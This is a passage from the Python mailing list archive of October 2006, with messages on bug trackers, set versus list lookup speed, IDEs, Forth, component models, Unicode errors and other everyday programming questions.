administer the Bugzilla installation on his own, by providing upgrades when
needed and a few modifications.

I wonder why the PSF infrastructure committee believes that a group of 6-10
people is needed to "install and maintain" Roundup. Let us also consider
that Roundup's lead developer *was* part of the PSF infrastrucutre
committee, and he might be willing to help in the transition (just my very
wild guess), and he obviously knows his stuff. Also, given the requirement
for the selection, there is already a running roundup installation somewhere
(so the whole pipeline export -> import has already been estabilished and
confirmed to work).

My own opinion is that a couple of person can manage the
transition/migration phase to *any* other bug tracking system, and provide
support in the python-dev mailing list. After the whole thing has fully
landed, I'd be really surprised if a single appointed maintainer would not
be enough.

If the PSF committee lowers its requests to a more realistical amount of
effort, I'm sure we will see many more people willing to help. I think many
people (including myself) would be willing to half-half-help with loose
ends, but when faced with an abnormous "6-10 people" request they just shut
up and sit in a corner.
-- 
Giovanni Bajo




From sjdevnull at yahoo.com  Wed Oct  4 15:03:24 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 4 Oct 2006 12:03:24 -0700
Subject: item access time: sets v. lists
In-Reply-To: <4cSUg.7864$753.4683@trnddc05>
References: <QWQUg.15396$3T2.2982@trnddc06>
	<CiRUg.25432$DU3.7189@tornado.texas.rr.com>
	<4cSUg.7864$753.4683@trnddc05>
Message-ID: <1159988604.129350.119250@h48g2000cwc.googlegroups.com>

David Isaac wrote:
> Paul M. wrote:
> > Random access to item in list/set when item exists
> > set  -> 0.000241650824337
> > list -> 0.0245168031132
> >
> > Random access to item in list/set when item does not exist
> > set  -> 0.000187733357172
> > list -> 0.522086186932
>
>
> OK, that's a much better set of answers
> including to questions I did not
> even know I wanted to ask until
> I saw your post.  But, how to
> explain the above??

The code was flawed, but it illustrates a point.  To find an arbitrary
item in a list takes time proportional to the length of the list--on
average, you have to scan n/2 items in a list of length n to find it.
"x in list" really has to check item 0, item 1, item 2, etc until it
finds x or reaches the end of the list.

Obviously in a sorted list like this, finding 0 will be much faster
than finding 9999 since you have to scan almost the whole list to find
the latter.  Of course, if you know the list is sorted you could use a
binary search (which will find the item in log(n) comparisons on
average).

So really to find a random item that is in the list is going to take
more like 0.250 seconds on average, give or take a little.

When the item doesn't occur in the list, you wind up having to check
every element to see if it's there.  (binary search would work for this
case as well for a sorted list).

A set, on the other hand, uses a hash table so finding an element takes
constant time (it's one hash lookup, independent of the size of the
set)--and determining an item isn't there is likewise constant time.

(if your data is degenerate and you have many things in the set that
all hash to the same value then the lookup could take longer, but
that's pretty unlikely to make a big difference in practice with python
sets and user data).



From bearophileHUGS at lycos.com  Thu Oct  5 16:15:41 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 5 Oct 2006 13:15:41 -0700
Subject: Graph Theory
In-Reply-To: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>
References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>
Message-ID: <1160079341.752297.139110@h48g2000cwc.googlegroups.com>

diffuser78 at gmail.com:
> Is there any library in Python which has implementation of graph
> theoretic algorithms and models ?

There are many of them, like:
https://networkx.lanl.gov/
Mine:
http://sourceforge.net/projects/pynetwork/
...and some other.

Bye,
bearophile



From nospam at jollans.com  Mon Oct  2 12:37:42 2006
From: nospam at jollans.com (Thomas Jollans)
Date: Mon, 2 Oct 2006 18:37:42 +0200
Subject: tkinter to mpeg
References: <1159805893.786448.191810@i42g2000cwa.googlegroups.com>
Message-ID: <efrf8m$q4b$00$1@news.t-online.com>

On Mon, 02 Oct 2006 09:18:13 -0700, "dug" <mm2ps at yahoo.co.uk> let this
slip:

> Hi,
> 
> I have a small program that moves some shapes around a tkinter canvas.
> Is there any way to save the output in a movie file, maybe mpeg?

you can record any app with special programs designed for the job, such as
vnc2swf (which produces macromedia flash), vncrec (which produces a
special format readable by transcode) or istanbul (which produces
ogg/theora). I doubt Tk would have a special mechanism to do this.

-- 
Thomas Jollans alias free-zombie


From sjmachin at lexicon.net  Wed Oct 11 05:23:12 2006
From: sjmachin at lexicon.net (John Machin)
Date: 11 Oct 2006 02:23:12 -0700
Subject: what is this UnicodeDecodeError:....?
In-Reply-To: <mailman.282.1160552709.11739.python-list@python.org>
References: <1160504403.384348.253650@k70g2000cwa.googlegroups.com>
	<pan.2006.10.10.20.32.27.653212@gmx.net>
	<1160515979.332472.223430@c28g2000cwb.googlegroups.com>
	<mailman.282.1160552709.11739.python-list@python.org>
Message-ID: <1160558592.412394.77730@i3g2000cwc.googlegroups.com>


Steve Holden wrote:
> John Machin wrote:
> > :-)
[stuff]
> > (-:
> >
> I see you also use little-endian smileys in the antipodes.
>

I was using it  in a bracketing manner similar to the Spanish ?and ?
except at the other end of the bracketed text. This admittedly
confusing usage of course overloads the normal :-) While that sort of
caper should be a doddle for a document-level parser, it could present
a problem to parsers with limited buffers (like humans), so it looks
like I should reverse the order.

I wonder what Unicode.org would think of a proposal for 4 new
characters: open/close smiley/grumpy bracket. No weirder than some of
the characters on the roster.

Cheers,
John



From peter.maas at somewhere.com  Sat Oct  7 17:32:28 2006
From: peter.maas at somewhere.com (Peter Maas)
Date: Sat, 07 Oct 2006 23:32:28 +0200
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <NdzVg.14581$5o5.6325@tornado.texas.rr.com>
References: <eg6bku$59b$1@online.de>
	<NdzVg.14581$5o5.6325@tornado.texas.rr.com>
Message-ID: <eg96dv$9q2$1@online.de>

Paul McGuire wrote:
> The advance method is the most fertile place for optimization, since it is 
> called approximately n(n-1)/2 times (where n=2E7).  I was able to trim about 
> 25% from the Python runtime with these changes:
[...]

My results:

Your changes: 18% runtime decrease
Your changes + objects->lists: 25% runtime decrease

The Python program is much closer to the Perl program then (~2250 vs 1900 sec)
but replacing the objects by lists is not worth the effort because the gain is
small and the Python program becomes less readable.

Taking arrays (from module array) instead of lists increases runtime by 19%!

If it weren't for the shootout I would of course take psyco and numpy.

-- 
Regards/Gruesse,

Peter Maas, Aachen
E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')


From Hakusa at gmail.com  Wed Oct 25 19:50:04 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 25 Oct 2006 16:50:04 -0700
Subject: What's the best IDE?
In-Reply-To: <z5udnQdQiOwsbKLYnZ2dnUVZ_tGdnZ2d@comcast.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<z5udnQdQiOwsbKLYnZ2dnUVZ_tGdnZ2d@comcast.com>
Message-ID: <1161820204.148531.135050@e3g2000cwe.googlegroups.com>

> I don't really have a good answer here, but maybe a data point.  I got
> tired of waiting for ActiveState to put out a Python 2.5 and installed
> the one from python.org instead, which doesn't include PythonWin.  I
> figured that I should take the opportunity to try out Komodo, which I'd
> heard was pretty good.  I downloaded the alpha and used it for about
> half a month.  Komodo's interface is pretty good, and when you're
> writing code in a module, the auto-completion is great, but there's no
> auto-completion at the interactive prompt.  I use the interactive prompt
> heavily, so that was pretty much the end of it for me. I downloaded the
> pywin32 module and got my PythonWin back. =)
>
> STeVe

Komodo sounds alright. I don't use the interactive promt much anyway, I
usually just copy and past stuff from my real code to see if it works.

Any more advocates?
I forgot to mention that auto-completion is my favorite little helper.
Any IDEs of astronomical proportions in relation to ease of use to
auto-completion?

Also:
Links to what you suggest?



From eratherXXX at forth.com  Mon Oct 16 17:11:34 2006
From: eratherXXX at forth.com (Elizabeth D Rather)
Date: Mon, 16 Oct 2006 11:11:34 -1000
Subject: Standard Forth versus Python: a case study
In-Reply-To: <1160910271.991082.66840@k70g2000cwa.googlegroups.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<1160910271.991082.66840@k70g2000cwa.googlegroups.com>
Message-ID: <12j7tca94dbj368@news.supernews.com>

proteusguy at gmail.com wrote:
> John you nailed it. I was a big forth fan in the mid-80s but it was
> very clear that you either had to spend a lot of money on proprietary
> systems or do it ALL yourself. Not having any money I was pleased to be
> able to do it all but today, in the age of instant communication and
> collaboration, its not a competitive option in any language. Had forth
> kicked off the open source community about a decade earlier than the
> UNIX folk (in useful terms) I think we'd be living in a much different
> world from a computing perspective. Forth is still cool - but only when
> its for something I wanna do all by myself... :)

Fortunately, modern Forths have quite a lot more functionality than 
mid-80's Forths, in terms of application-relevant features, programming 
aids, more intelligent compilers, OS (e.g. Windows, Unix) compatibility 
and access, etc.  You should really have another look!

Cheers,
Elizabeth

-- 
==================================================
Elizabeth D. Rather   (US & Canada)   800-55-FORTH
FORTH Inc.                         +1 310-491-3356
5155 W. Rosecrans Ave. #1018  Fax: +1 310-978-9454
Hawthorne, CA 90250
http://www.forth.com

"Forth-based products and Services for real-time
applications since 1973."
==================================================


From bj_666 at gmx.net  Mon Oct  9 14:24:47 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Mon, 09 Oct 2006 20:24:47 +0200
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
Message-ID: <pan.2006.10.09.18.24.45.251048@gmx.net>

In <W5wWg.7118$Y24.2917 at newsread4.news.pas.earthlink.net>, Edward Diener
No Spam wrote:

> I believe that Python should have a common components model for all RAD 
> development environments, as that would allow the Python programmer to 
> create a set of classes representing components which would work in any 
> environment. I want to immediately point out that components do not 
> simply mean visual GUI components but what may be even more important, 
> non-visual components. Having used RAD development environments to 
> create applications, I have found such environments almost always much 
> better than coding complex interactions manually, and I believe that 
> visual development environments are almost a necessity in today's world 
> of large-scale, multi-tier, and enterprise applications.

IMHO those RAD tools in other languages are in place to avoid writing much
boring boiler plate code.  At least that is what those tools usually
produce: tons of code that the programmer should leave alone or the round
trip, RAD tool ? code ? RAD tool, does not work anymore.  If you come
across such a situation while programming in Python it is almost always
easy to factor out most of it.  Python itself is a RAD tool.

Ciao,
	Marc 'BlackJack' Rintsch


From joshbloom at gmail.com  Wed Oct 11 15:04:18 2006
From: joshbloom at gmail.com (Josh Bloom)
Date: Wed, 11 Oct 2006 12:04:18 -0700
Subject: MP3 files and Python...
In-Reply-To: <Xns9858C43E94794maxericksongmailcom@80.91.229.5>
References: <Xns985959C7FA2mosornet@161.53.160.64>
	<Xns9858C43E94794maxericksongmailcom@80.91.229.5>
Message-ID: <d25b6e9a0610111204g340d26a7ya64ca8b1d99e8fb5@mail.gmail.com>

Dive Into Python also has a little tutorial/code for reading and editing mp3
tags.
http://www.diveintopython.org/object_oriented_framework/index.html

-JB


On 10/10/06, Max Erickson <maxerickson at gmail.com> wrote:
>
> Karlo Lozovina <_karlo_ at _mosor.net_> wrote:
>
> > I'm looking for a Python lib which can read and _write_ ID3v1 and
> > ID3v2 tags, and as well read as much as possible data from MP3
> > file (size, bitrate, samplerate, etc...).
> >
> > MP3 reproduction is of no importance...
> >
>
> Try mutagen:
>
> http://www.sacredchao.net/quodlibet/
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
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From chtaylo3 at gmail.com  Tue Oct 24 15:55:32 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Tue, 24 Oct 2006 15:55:32 -0400
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <2590773a0610241254v370e7051vd6a0fbc9ac31031b@mail.gmail.com>
References: <mailman.706.1161192807.11739.python-list@python.org>
	<mailman.1025.1161646957.11739.python-list@python.org>
	<453DA645.2090009@v.loewis.de>
	<mailman.1099.1161709658.11739.python-list@python.org>
	<453E4C49.4000401@v.loewis.de>
	<mailman.1102.1161712524.11739.python-list@python.org>
	<453e56f2$0$30357$9b622d9e@news.freenet.de>
	<mailman.1105.1161714147.11739.python-list@python.org>
	<453e6879$0$30408$9b622d9e@news.freenet.de>
	<2590773a0610241254v370e7051vd6a0fbc9ac31031b@mail.gmail.com>
Message-ID: <2590773a0610241255n6d1769d2ref231180af971fa3@mail.gmail.com>

Does anyone have any comments on my proposed solution?

> However, I would like to propose a more flexible solution: Perhaps a
> ./configure parameter called LIBLOC or something like that so that
> LIBDIR = $(EXEC_PREFIX)/$(LIBLOC).  Of course, LIBLOC should default
> to "lib".  This way the flexibility you mentioned above can be
> maintained and the 64bit community (which will eventually be the
> entire community) can move forward with minimal hassle.

Respectfully,
Christopher Taylor


From igouy at yahoo.com  Sat Oct  7 19:51:28 2006
From: igouy at yahoo.com (igouy at yahoo.com)
Date: 7 Oct 2006 16:51:28 -0700
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <eg96dv$9q2$1@online.de>
References: <eg6bku$59b$1@online.de>
	<NdzVg.14581$5o5.6325@tornado.texas.rr.com>
	<eg96dv$9q2$1@online.de>
Message-ID: <1160265088.126282.236910@m73g2000cwd.googlegroups.com>


Peter Maas wrote:
> Paul McGuire wrote:
> > The advance method is the most fertile place for optimization, since it is
> > called approximately n(n-1)/2 times (where n=2E7).  I was able to trim about
> > 25% from the Python runtime with these changes:
> [...]
>
> My results:
>
> Your changes: 18% runtime decrease
> Your changes + objects->lists: 25% runtime decrease
>
> The Python program is much closer to the Perl program then (~2250 vs 1900 sec)
> but replacing the objects by lists is not worth the effort because the gain is
> small and the Python program becomes less readable.
>
> Taking arrays (from module array) instead of lists increases runtime by 19%!
>
> If it weren't for the shootout I would of course take psyco and numpy.
>
> --
> Regards/Gruesse,
>
> Peter Maas, Aachen
> E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')

We can have our Python and Psyco too :-)

http://shootout.alioth.debian.org/gp4sandbox/fulldata.php?test=nbody&p1=python-0&p2=psyco-4&p3=iron-0&p4=psyco-3



From eldiener_no_spam_here at earthlink.net  Tue Oct 10 17:59:56 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 21:59:56 GMT
Subject: Python component model
In-Reply-To: <mailman.235.1160506163.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>	<mailman.209.1160486725.11739.python-list@python.org>	<zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>	<1160502439.729432.13480@h48g2000cwc.googlegroups.com>
	<mailman.235.1160506163.11739.python-list@python.org>
Message-ID: <wJUWg.12327$UG4.10894@newsread2.news.pas.earthlink.net>

Fredrik Lundh wrote:
> fumanchu wrote:
> 
>>> 4) Custom property and component editors: A component editor can present
>>> a property editor or an editor for an entire component which the visual
>>> design-time RAD environment can use to allow the programmer end-user of
>>> the component to set or get component property values. Normally a design
>>> time environment will present default property editors for each
>>> component property type, but a component can override this.
>>
>> This is the hard part. I believe Dabo has done some work in this space,
>> but this is where the tight coupling comes in between code and tool, a
>> coupling which Python has traditionally resisted.
> 
> that's not that hard on a pure technical level; even a "basic" tool
> like IDLE can hook itself into an executing Python process.  once you're 
> hooked up, you can inspect and modify most about everything.
> 
> for example, doing remote tweaking of live Tkinter widget trees is 
> pretty straight-forward.
> 
> coming up with a good way to capture the modifications, and use them in 
> your actual application, is a bit harder.  do you really want to replace 
> plain old source code with some kind of more or less obscure resource 
> files?

The Visual Studio RAD IDE environment actually modifies source code 
constructors, via an InitializeComponent() function called from it, in 
order to set properties and events in components. It does mark the 
function as such with comments in the source code. OTOH Borland's VCL 
uses the resource file technique you scorn above, linking in the code 
via resources and automatically updating a component's properties and 
events from base class components constructors. I believe Java's JVM 
automatically deserializes .ser files at run-time saved by a RAD 
designer in order to set properties and events on an object of a class.

There are obviously numerous techniques, so one should theoretically 
work well with Python.

> 
> and designing a metadata vocabulary that's powerful enough to be useful 
> for more than just one or a few target domains might be really hard.

That's the are I am most interested in.


From slawomir.nowaczyk.847 at student.lu.se  Sat Oct 14 15:48:22 2006
From: slawomir.nowaczyk.847 at student.lu.se (Slawomir Nowaczyk)
Date: Sat, 14 Oct 2006 21:48:22 +0200
Subject: IDE that uses an external editor?
In-Reply-To: <17713.9709.575464.630058@montanaro.dyndns.org>
References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<17713.9709.575464.630058@montanaro.dyndns.org>
Message-ID: <20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se>

On Sat, 14 Oct 2006 13:01:17 -0500
skip at pobox.com wrote:

#> 
#>     Slawomir> #> One thing that's kept me from even looking at IDEs is that
#>     Slawomir> #> to the best of my knowledge none of them will integrate
#>     Slawomir> #> properly with external editors like Emacs or vi.
#> 
#>     Slawomir> To the best of *my* knowledge, Emacs integrates pretty well
#>     Slawomir> with Emacs, and I suppose vi integrates pretty well with
#>     Slawomir> vi... Or do you mean something else by "IDE"?
#> 
#> By IDE I mean "Integrated Development Environment".

Well, I haven't yet seen a definition of "Integrated Development
Environment" which would exclude Emacs...

#> I realize I can do a lot within Emacs/XEmacs, but I suspect with a
#> tool like Eclipse I could do more. However, I don't want to give up
#> the text editing power of Emacs to get it.

I don't know... I have never, personally, used Eclipse, so I cannot
comment on that. It is highly dependent on what you are working on, I
presume.

-- 
 Best wishes,
   Slawomir Nowaczyk
     ( Slawomir.Nowaczyk at cs.lth.se )

Sometimes I lie awake at night, and I ask, 'Where have I gone wrong?'
Then a voice says to me, 'This is going to take more than one night.



From ewijaya at i2r.a-star.edu.sg  Fri Oct 13 03:21:49 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Fri, 13 Oct 2006 15:21:49 +0800
Subject: Python Best Practice References
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615A3@mailbe01.teak.local.net>


Can anybody suggest any references (links, books, etc)about this?
I'm thinking of something similar with D.Conway's "Perl Best Practice".
 
-- Edward WIJAYA
SINGAPORE

------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From mail at razor.dk  Sun Oct 15 11:36:50 2006
From: mail at razor.dk (Christian Joergensen)
Date: Sun, 15 Oct 2006 17:36:50 +0200
Subject: Cannot import a module from a variable
References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com>
Message-ID: <87mz7xlhf1.fsf@jamie.razor.dk>

"Jia Lu" <Roka100 at gmail.com> writes:

> Hi all:
>
> I try to do things below:
>>>>import sys
>>>> for i in sys.modules.keys():
> 	import i
> Traceback (most recent call last):
>   File "<pyshell#67>", line 2, in <module>
>     import i
> ImportError: No module named i
>
> But it seems that import donot know what is i ? why?

Try using __import__(i) instead.

-- 
Christian Joergensen | Linux, programming or web consultancy
http://www.razor.dk  |     Visit us at: http://www.gmta.info


From pydecker at gmail.com  Fri Oct 13 21:44:07 2006
From: pydecker at gmail.com (Peter Decker)
Date: Fri, 13 Oct 2006 21:44:07 -0400
Subject: is there an easy way to create a database on the fly and let the
	user input values
In-Reply-To: <1160693415.040804.136800@i42g2000cwa.googlegroups.com>
References: <1160628277.112881.211410@h48g2000cwc.googlegroups.com>
	<mailman.382.1160663698.11739.python-list@python.org>
	<1160693415.040804.136800@i42g2000cwa.googlegroups.com>
Message-ID: <ca55a9900610131844p633ecc13oaf79027ef7049329@mail.gmail.com>

On 12 Oct 2006 15:50:16 -0700, Eric_Dexter at msn.com <Eric_Dexter at msn.com> wrote:

> dabo looks intresting but I am just looking for the simplist way and
> having to load from thier thing just complicates stuff.  I could
> probily just use wx.grid but examples are scarce, I have seen some
> simple dbm stuff but this is an old book I am reading now

You can't get much simpler than Dabo. The wx.Grid is a real PITA to
work with, but the Dabo.dGrid wrapper makes things so much easier.
-- 

# p.d.


From carlwenrich at yahoo.com  Wed Oct 18 14:13:41 2006
From: carlwenrich at yahoo.com (Carl Wenrich)
Date: Wed, 18 Oct 2006 11:13:41 -0700 (PDT)
Subject: tkinter won't play
Message-ID: <20061018181341.96550.qmail@web32913.mail.mud.yahoo.com>

I installed python 2.4.4 from source. When I try to
run the demo tkinter (hello.py) script, I get a
message saying my python may not be configured for Tk.


From rhymes at myself.com  Tue Oct  3 16:30:21 2006
From: rhymes at myself.com (Lawrence Oluyede)
Date: Tue, 3 Oct 2006 22:30:21 +0200
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
Message-ID: <1hmnl57.19yzl1ahk9z7kN%rhymes@myself.com>

LaundroMat <Laundro at gmail.com> wrote:
> What value do I have to pass to f() if I want it to evaluate var to 1?
> I know that f() will return 2, but what if I absolutely want to pass a
> value to f()? "None" doesn't seem to work..

I don't know if I understand correctly here but:

def f(v=1):
    return v * 2

f() returns 2
f(1) returns 2 too

v = 1
f(v) returns 2 too

What do you mean?

-- 
Lawrence - http://www.oluyede.org/blog
"Nothing is more dangerous than an idea
if it's the only one you have" - E. A. Chartier


From jUrner at arcor.de  Sat Oct 14 16:22:40 2006
From: jUrner at arcor.de (jUrner at arcor.de)
Date: 14 Oct 2006 13:22:40 -0700
Subject: wing ide vs. komodo?
In-Reply-To: <1160778985.576091.39700@e3g2000cwe.googlegroups.com>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
	<mailman.480.1160767168.11739.python-list@python.org>
	<tURXg.27343$Go3.5193@dukeread05>
	<mailman.481.1160768935.11739.python-list@python.org>
	<18SXg.27347$Go3.9933@dukeread05>
	<mailman.482.1160769808.11739.python-list@python.org>
	<XMSXg.27356$Go3.11355@dukeread05>
	<1160778985.576091.39700@e3g2000cwe.googlegroups.com>
Message-ID: <1160857360.558449.262900@h48g2000cwc.googlegroups.com>


Paul Boddie wrote:
> hg wrote:
> >
> > Eric3 is very nice and moving forward ... I believe it is based on the
> > QT library which free ... yet not so free under windows (i have yet to
> > understand the business model).
>
> There are snapshots of Eric4 available, apparently. See here for more:
>
> http://www.riverbankcomputing.co.uk/
> http://www.die-offenbachs.de/detlev/eric4.html
>
> [...]
>

Eric is in the state of being ported to Qt4 with Qt4 being available
commercial
licenced or gpl'ed on windows. Currently first Eric4 snapshots are
availabe,
more or less only waiting for QScintilla2 to arrive.

See the mailing list if interested
http://www.riverbankcomputing.com/mailman/listinfo/eric
or
http://news.gmane.org/gmane.comp.ide.eric
   
J?rgen



From martin at v.loewis.de  Mon Oct 30 16:17:01 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 30 Oct 2006 22:17:01 +0100
Subject: CHM help file for Python 2.5
In-Reply-To: <1162210804.269452.288100@i42g2000cwa.googlegroups.com>
References: <1162210804.269452.288100@i42g2000cwa.googlegroups.com>
Message-ID: <45466BCD.3090400@v.loewis.de>

jiri.zahradil at gmail.com schrieb:
> Can anyone point me to new location of this version of manual,
> or tell me why this format is no longer supported ... ?

It's on the download page itself:

http://www.python.org/download/releases/2.5/
http://www.python.org/ftp/python/2.5/Python25.chm

Regards,
Martin


From XX.XmcX at XX.XmclaveauX.com  Fri Oct 20 15:43:11 2006
From: XX.XmcX at XX.XmclaveauX.com (MC)
Date: Fri, 20 Oct 2006 21:43:11 +0200
Subject: I like python.
References: <mailman.824.1161333065.11739.python-list@python.org>
Message-ID: <mn.a5177d6a3d962dfa.46195@XX.XmclaveauX.com>

Hi!

Sorry, I don't understand well english.
But, try to rename your script, from .py to .pyw (sample : titi.py ==> 
titi.pyw).

-- 
@-salutations

Michel Claveau




From mj23 at toro.azwestern.edu  Tue Oct 10 04:27:35 2006
From: mj23 at toro.azwestern.edu (melv@awc.edu)
Date: Tue, 10 Oct 2006 01:27:35 -0700
Subject: Converting MSWord Docs to PDF
Message-ID: <4523F76D@webmail.azwestern.edu>

Hello,

this is my first message sent to the python-list, so
forgive any irregularities.

is it possible to convert MSword docs into PDF format?
i told my future employer that i could, because i knew
of the COM scripting abilites that activePython had.
and i knew there was modules for PDF creation such as
reportlabs.

thanks

Melv




From hanumizzle at gmail.com  Sat Oct 21 04:11:48 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sat, 21 Oct 2006 04:11:48 -0400
Subject: FOR statement
In-Reply-To: <1161417033.963163.275300@i3g2000cwc.googlegroups.com>
References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
	<453911b6$0$19616$88260bb3@free.teranews.com>
	<1161417033.963163.275300@i3g2000cwc.googlegroups.com>
Message-ID: <463ff4860610210111y69c711b1maccd9fffa43b0b22@mail.gmail.com>

On 21 Oct 2006 00:50:34 -0700, Ant <antroy at gmail.com> wrote:

> But there's a good reason not to. Try:
>
> printreverse(range(1000))
>
> Recursion has a maximum depth (of 1000 by default) in Python.

I guess Python isn't tail-recursive then?

Well, algorithms seem to be more naturally expressed iteratively in
Python, and to be fair, most uses of recursion you see in e.g., Scheme
textbooks are really just grandstanding in the real world.

-- Theerasak


From debl2NoSpam at verizon.net  Sun Oct 15 00:27:25 2006
From: debl2NoSpam at verizon.net (David Lees)
Date: Sun, 15 Oct 2006 04:27:25 GMT
Subject: problem with the 'math' module in 2.5?
In-Reply-To: <1160885586.921786.87810@i42g2000cwa.googlegroups.com>
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
	<mailman.524.1160884524.11739.python-list@python.org>
	<1160885586.921786.87810@i42g2000cwa.googlegroups.com>
Message-ID: <NMiYg.7651$cH6.2696@trnddc07>

Chris wrote:
> sin(pi*0.5) is what I expected, but I expected to get 0 for sin(pi).
> 
<snip>

http://docs.python.org/tut/node16.html

david



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 02:28:47 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 28 Oct 2006 16:28:47 +1000
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<ehu42d$jff$1@chiara.aioe.org>
	<mailman.1386.1162001801.11739.python-list@python.org>
Message-ID: <pan.2006.10.28.06.28.46.427735@REMOVE.THIS.cybersource.com.au>

On Sat, 28 Oct 2006 03:13:42 +0100, Steve Holden wrote:


>> Python is not evaluating the truth of the matter, but, as Ms. Creighton 
>> would say, the "somethingness" of that which 10 > 5 evaluates to.  (1 
>> aka True)
>> 
>   >>> type(10>5)
> <type 'bool'>
>   >>>
> 
> It does seem that there is a specific type associated with the result of 
> a comparison, even though you would really like to to be "a number with 
> a hat on".

Python bools really are subclassed from ints:

>>> issubclass(bool, int)
True

They are ints wearing a Boolean hat. This was a controversial compromise.


>>  >>> (1 > 0) < 1
>> False
>>  >>> 1 > 0 < 1
>> True
>>  >>> 1 > (0 < 1)
>> False
>>  >>> 10 > (0 < 1)
>> True
>> 
> I have no idea what you think that you are demonstrating here.

Run through the expressions by hand:

(1 > 0) < 1
True < 1
False

The mere fact that you can compare bools with ints demonstrates that
Python bools aren't "real" Booleans.

 
>> Finally, while True/False is a good mental mapping for numeric 
>> comparisons, take the following:
>> 
>>  >>> if "Cliff is a pillar of the open source community":
>> ....	print "thank you"
>> .... else:
>> ....	print "bugger off"
>> 
>> bugger off
>> 
>> Clearly this is not true.  (Google Cliff/Dyer open source: only 11 
>> hits.), but the string is *something* so the if block gets evaluated.
>> 
>   >>> if "The above example was bollocks":
>   ...   print "You don't know what you are talking about"
>   ... else:
>   ...   print "Sorry: of course you are perfectly correct"
>   ...
> You don't know what you are talking about

Cliff is making a point about semantics, and he's absolutely correct about
it, although it is irrelevant since we're talking about two-value logic
not semantics.




-- 
Steven.



From heller at deepsoft.com  Tue Oct 17 20:09:06 2006
From: heller at deepsoft.com (Robert Heller)
Date: Wed, 18 Oct 2006 02:09:06 +0200
Subject: Python wrapper for C++ core
In-Reply-To: <1161126339.893795.254110@i3g2000cwc.googlegroups.com>
References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com>
Message-ID: <711c2$453570a2$404a99a1$22922@news.news-service.com>

At 17 Oct 2006 16:05:40 -0700 holly.woodland at gmail.com wrote:

> 
> Hi All
> 
> Apologies in advance for the pretty basic question - but I can't seem
> to find an answer anywhere else.
> 
> I am developing a fluid sim in C++ and have heard that many people use
> Python in conjunction with C++ for this sort of thing (especially in
> games dev).
> 
> What I can't understand why you would want to do this. Obviously the
> core would be written in C++ (for my purposes anyway) so what parts
> would be written in Python? What is the benefit, in this situation, of
> using Python instead of C++?
> 
> thanks for your help

If they were using Python/Tk to develop a GUI, it makes sense (although
I would use Tcl/Tk, being a Tcl fan).  In either case, SWIG can generate
the interface between C/C++ and Python/Tcl.

> 
> Holly
> 
>                                                                           

-- 
Robert Heller             -- 978-544-6933
Deepwoods Software        -- Linux Installation and Administration
http://www.deepsoft.com/  -- Web Hosting, with CGI and Database
heller at deepsoft.com       -- Contract Programming: C/C++, Tcl/Tk
                                                            


From Eric_Dexter at msn.com  Sat Oct  7 02:13:46 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 6 Oct 2006 23:13:46 -0700
Subject: problem with split
In-Reply-To: <mailman.9.1160200561.11739.python-list@python.org>
References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>
